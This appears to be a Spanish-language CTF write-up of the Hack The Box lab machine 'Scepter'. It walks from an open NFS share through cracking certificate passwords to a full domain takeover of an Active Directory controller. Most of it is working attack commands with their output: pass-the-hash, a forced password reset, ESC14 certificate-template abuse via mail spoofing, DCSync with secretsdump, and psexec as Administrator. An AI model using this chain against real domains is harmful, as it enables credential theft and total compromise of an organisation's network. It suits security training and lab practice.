Scepter .pfx

.pfx



Escaneo inicial:

[+] Starting recon on 10.10.11.65 (scepter)                                                                                                                                                                                                
[*] Running initial Nmap scan...                                                                                     
sudo nmap -sCV -T4 10.10.11.65 -oA nmap-initial 
[sudo] password for kali:                                                                                            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 21:26 CEST
Nmap scan report for 10.10.11.65       
Host is up (0.020s latency).                                                                                         
Not shown: 985 closed tcp ports (reset)    
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus                                                                         
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-05 03:28:13Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)                                                                       
| rpcinfo:  
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind      
|   100000  2,3,4        111/tcp6  rpcbind      
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs     
|   100003  2,3         2049/udp6  nfs                                                                               
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd                                                                            
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status                                                                            
|   100024  1           2049/tcp6  status                                                                            
|   100024  1           2049/udp   status  
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn 
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-05-05T03:29:03+00:00; +8h01m26s from scanner time.
445/tcp  open  microsoft-ds?            
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-05-05T03:29:04+00:00; +8h01m26s from scanner time.
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-05T03:29:03+00:00; +8h01m26s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33                                                                              
|_Not valid after:  2025-11-01T03:22:33                                                                              
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-05T03:29:04+00:00; +8h01m26s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33   
|_Not valid after:  2025-11-01T03:22:33   
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                          
|_http-title: Not Found               
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found                                                                                              
|_ssl-date: 2025-05-05T03:29:04+00:00; +8h01m26s from scanner time.
| tls-alpn:                              
|_  http/1.1                             
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41    
|_Not valid after:  2025-11-01T00:41:41    
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                          
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows                                                 

Servidor NFS /2049

NFS (Network File System) es un protocolo que permite montar y acceder a archivos remotos a través de la red como si fueran locales. Funciona usualmente sobre el puerto 2049/TCP y puede exponer archivos sensibles si no está bien configurado.

$ showmount -e 10.10.11.65    
Export list for 10.10.11.65:
/helpdesk (everyone)

$ mkdir nfs
$ sudo mount -t nfs 10.10.11.65:/helpdesk nfs 
$ sudo ls -lha nfs

total 21K
drwx------ 2 4294967294 4294967294   64 Nov  2  2024 .
drwx------ 2 4294967294 4294967294   64 Nov  2  2024 ..
-rwx------ 1 4294967294 4294967294 2.5K Nov  2  2024 baker.crt
-rwx------ 1 4294967294 4294967294 2.0K Nov  2  2024 baker.key
-rwx------ 1 4294967294 4294967294 3.3K Nov  2  2024 clark.pfx
-rwx------ 1 4294967294 4294967294 3.3K Nov  2  2024 lewis.pfx
-rwx------ 1 4294967294 4294967294 3.3K Nov  2  2024 scott.pfx

Bueno cada usuario tiene su hash la cual lo pasamos:

sudo pfx2john nfs/lewis.pfx > lewis.hash
john --wordlist=/usr/share/wordlists/rockyou.txt lewis.hash

Se encontró:

newpassword

Openssl crear .pfx

Con baker:

  • Ya tenías la clave privada (baker.key) y el certificado (baker.crt) sin cifrar.

  • Eso te permitió crear tu propio .pfx :

sudo openssl pkcs12 -export -out baker.pfx -inkey nfs/baker.key -in nfs/baker.crt -passin pass:newpassword

Necesitas un archivo .pfx para autenticarte con certipy-ad auth.

  • Además sincronizar la hora con el servidor NTP

 sudo faketime "$(ntpdate -q dc01.scepter.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx baker.pfx -dc-ip 10.10.11.65

Ahora necesitamos agregar el controlador de dominio a nuestro solucionador y usar el hash con Bloodhound para obtener una descripción general de cómo podemos escalar aún más.

etc/resolv.con
nameserver 10.10.11.65
/etc/krb5.conf
[domain_realm]
    .scepter.htb = SCEPTER.HTB
    scepter.htb = SCEPTER.HTB

[libdefaults]
    default_realm = SCEPTER.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    forwardable = true

[realms]
    SCEPTER.HTB = {
        kdc = dc01.scepter.htb
        admin_server = dc01.scepter.htb
        default_domain = scepter.htb
Automatizado

bloodhound-python | hash ntlm

Podemos usar bloodhound-python con ese hash para hacer la recolección de datos del dominio y cargarla en BloodHound GUI.

sudo bloodhound-python -u 'd.baker' \
  --hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' \
  -d scepter.htb \
  -dc dc01.scepter.htb \
  --auth-method ntlm \
  -c All \
  --zip \
  --disable-autogc
Opción
Función

-u 'd.baker'

Usuario del dominio (en minúsculas está bien)

--hashes 'LM:NT'

El hash NTLM (LM casi siempre se deja fijo)

-d scepter.htb

Dominio que estás atacando

-dc dc01.scepter.htb

Nombre del controlador de dominio (DC)

--auth-method ntlm

Autenticación usando hash en vez de ticket

-c All

Recolecta toda la información que BloodHound puede usar (DCOnly, etc)

--zip

Genera un ZIP listo para importar en BloodHound

--disable-autogc

Evita recolección GC si no lo necesitas (recomendado en CTF)


Activemos el bloodhound:

ForceChangePassword

  • Después de esto, revisaremos estos nodos. Cuando hacemos clic derecho en Carter, veremos una acción interesante: "ForceChangePassword".

Así que hagámoslo:

impacket-changepasswd 'scepter.htb'/'a.carter'@10.10.11.65 -reset -altuser 'd.baker' -althash :'18b5fb0d99e7a475316213c15b6f22ce'
New password: Password123
Retype new password: Password123

[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Se cambio con exito.


Otra verificación de bloodhound con estas nuevas credenciales y usuario

bloodhound-python | user, contraseña

a.carter
Password123
sudo bloodhound-python -u 'a.carter' -p 'Password123' -d scepter.htb -dc dc01.scepter.htb --auth-method ntlm -c All --zip --disable-autogc

Lo pasamos al bloodhound:

Los miembros del grupo IT SUPPORT@SCEPTER.HTB tienen permisos genéricos para el certificado de acceso del personal de la unidad organizativa@SCEPTER.HTB. Esto también se conoce como control total. Este permiso permite al administrador manipular el objeto de destino a su antojo.


TGT (Ticket Granting Ticket)

Este comando solicita un TGT (Ticket Granting Ticket) a nombre de d.baker, usando Pass-the-Hash, es decir: no necesitas la contraseña, solo el hash NTLM.

sudo faketime "$(ntpdate -q dc01.scepter.htb | cut -d ' ' -f 1,2)" 
impacket-getTGT -no-pass -hashes :18b5fb0d99e7a475316213c15b6f22ce scepter.htb/d.baker@dc01.scepter.htb

Este comando le dice al sistema que use ese TGT guardado como medio de autenticación Kerberos para herramientas compatibles.

export KRB5CCNAME=d.baker@dc01.scepter.htb.ccache

Se cambio la contraseña de otro usuario (a.carter) desde la cuenta d.baker sin necesidad de saber la contraseña de a.carter, gracias a que d.baker tenía privilegios suficientes para modificar la contraseña de otros usuarios (como GenericAll, GenericWrite, ResetPassword, etc.).

faketime -f "2025-06-24 09:42:03" bloodyAD -d scepter.htb -u d.baker -k --host dc01.scepter.htb --dc-ip 10.10.11.65 set password a.carter Password123

[+] Password changed successfully!

Asignar GenericAll al objeto OU (Organizational Unit)

sudo ntpdate -u 10.10.11.65 | bloodyAD -d scepter.htb -u a.carter -p Password123 --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter

¿Qué hace esto?

  • Le da a a.carter control total (GenericAll) sobre la OU que tiene el template vulnerable.

  • Esto es necesario porque para abusar del template ESC14, se requiere modificar ciertos atributos del objeto o generar certificados desde esa OU.

Modificar el atributo mail de d.baker

sudo ntpdate -u 10.10.11.65 | bloodyAD -d scepter.htb -u a.carter -p Password123 --host dc01.scepter.htb set object d.baker mail -v h.brown@scepter.htb

¿Por qué?

  • El template de certificado vulnerable (StaffAccessCertificate) emite certificados basándose en el atributo mail.

  • Cambiamos el mail de d.baker por h.brown@scepter.htb para que cuando pidamos un certificado para h.brown, realmente se genere como si fuese d.baker, que tiene más privilegios.


Solicitar el certificado malicioso

certipy-ad req -username "d.baker@scepter.htb" -hashes 18b5fb0d99e7a475316213c15b6f22ce -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'

Resultado:

  • Obtienes un certificado .pfx (d.baker.pfx) que en realidad te da acceso como h.brown (por el atributo mail).

  • Esto es el abuso del ESC14, usando el mail spoofing.

Autenticarse con el certificado y extraer el hash de h.brown

certipy-ad auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -username h.brown
export KRB5CCNAME=./h.brown.ccache

evil-winrm -i dc01.scepter.htb -r scepter.htb -u h.brown

Subir privilegios:


$map = (Get-ADUser h.brown -Properties altSecurityIdentities).altSecurityIdentities
Set-ADUser p.adams -Replace @{altSecurityIdentities = $map[0]}

4️⃣ Autenticarse como p.adams usando el .pfx robado de d.baker

certipy-ad auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.10.11.65

✔️ Esto genera un p.adams.ccache y también obtiene el hash NTLM de p.adams.


5️⃣ Ejecutar ataque DCSync para obtener el hash de Administrator

secretsdump.py -just-dc -hashes :<HASH_DE_P.ADOMS> scepter.htb/p.adams@10.10.11.65

✔️ Resultado esperado: Se obtiene el hash NTLM de Administrator.


6️⃣ Usar el hash para conectarse como Administrator (ROOT)

python3 examples/psexec.py -hashes :<HASH_ADMIN> scepter.htb/Administrator@10.10.11.65 -dc-ip 10.10.11.65

✔️ Acceso interactivo como NT AUTHORITY\SYSTEM o Administrator.


7️⃣ Obtener la flag

type C:\Users\Administrator\Desktop\root.txt

Last updated